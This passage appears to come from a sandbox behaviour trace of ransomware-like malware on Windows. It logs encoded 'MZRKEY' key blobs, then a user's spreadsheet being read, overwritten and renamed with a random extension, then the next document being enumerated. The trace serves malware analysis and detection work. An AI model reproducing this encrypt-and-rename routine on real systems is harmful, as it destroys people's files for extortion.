/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.362] GetCurrentThreadId () returned 0xa30 [0088.362] GetCurrentThreadId () returned 0xa30 [0088.362] GetCurrentThreadId () returned 0xa30 [0088.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.363] GetCurrentThreadId () returned 0xa30 [0088.363] GetCurrentThreadId () returned 0xa30 [0088.363] GetCurrentThreadId () returned 0xa30 [0088.363] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Si93WyJ4VkIM.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\si93wyj4vkim.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.363] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0088.363] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.363] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x8c7f [0088.363] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.364] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x8c7f, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x8c7f, lpOverlapped=0x0) returned 1 [0088.366] CloseHandle (hObject=0x124) returned 1 [0088.367] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Si93WyJ4VkIM.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\si93wyj4vkim.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.369] WriteFile (in: hFile=0x124, lpBuffer=0x1efa040*, nNumberOfBytesToWrite=0x8c7f, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1efa040*, lpNumberOfBytesWritten=0x18f978*=0x8c7f, lpOverlapped=0x0) returned 1 [0088.372] CloseHandle (hObject=0x124) returned 1 [0088.372] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Si93WyJ4VkIM.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\si93wyj4vkim.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Si93WyJ4VkIM.xlsx.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\si93wyj4vkim.xlsx.zv7un")) returned 1 [0088.373] GetCurrentThreadId () returned 0xa30 [0088.373] GetCurrentThreadId () returned 0xa30 [0088.374] GetCurrentThreadId () returned 0xa30 [0088.374] GetCurrentThreadId () returned 0xa30 [0088.374] GetCurrentThreadId () returned 0xa30 [0088.374] GetCurrentThreadId () returned 0xa30 [0088.374] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa59d36f0, ftCreationTime.dwHighDateTime=0x1d58458, ftLastAccessTime.dwLowDateTime=0x9bc7bef0, ftLastAccessTime.dwHighDateTime=0x1d5e549, ftLastWriteTime.dwLowDateTime=0x9bc7bef0, ftLastWriteTime.dwHighDateTime=0x1d5e549, nFileSizeHigh=0x0, nFileSizeLow=0x802b, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="xjQ7-Z6-cvpQ18.pptx", cAlternateFileName="XJQ7-Z~1.PPT")) returned 1 [0088.374] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.374] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.374] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xjQ7-Z6-cvpQ18.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xjq7-z6-cvpq18.pptx"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa59d36f0, ftCreationTime.dwHighDateTime=0x1d58458, ftLastAccessTime.dwLowDateTime=0x9bc7bef0, ftLastAccessTime.dwHighDateTime=0x1d5e549, ftLastWriteTime.dwLowDateTime=0x9bc7bef0, ftLastWriteTime.dwHighDateTime=0x1d5e549, nFileSizeHigh=0x0, nFileSizeLow=0x802b)) returned 1 [0088.374] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xjQ7-Z6-cvpQ18.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xjq7-z6-cvpq18.pptx")) returned 0x20 [0088.374] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xjQ7-Z6-cvpQ18.pptx", dwFileAttributes=0x80) returned 1 [0088.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4T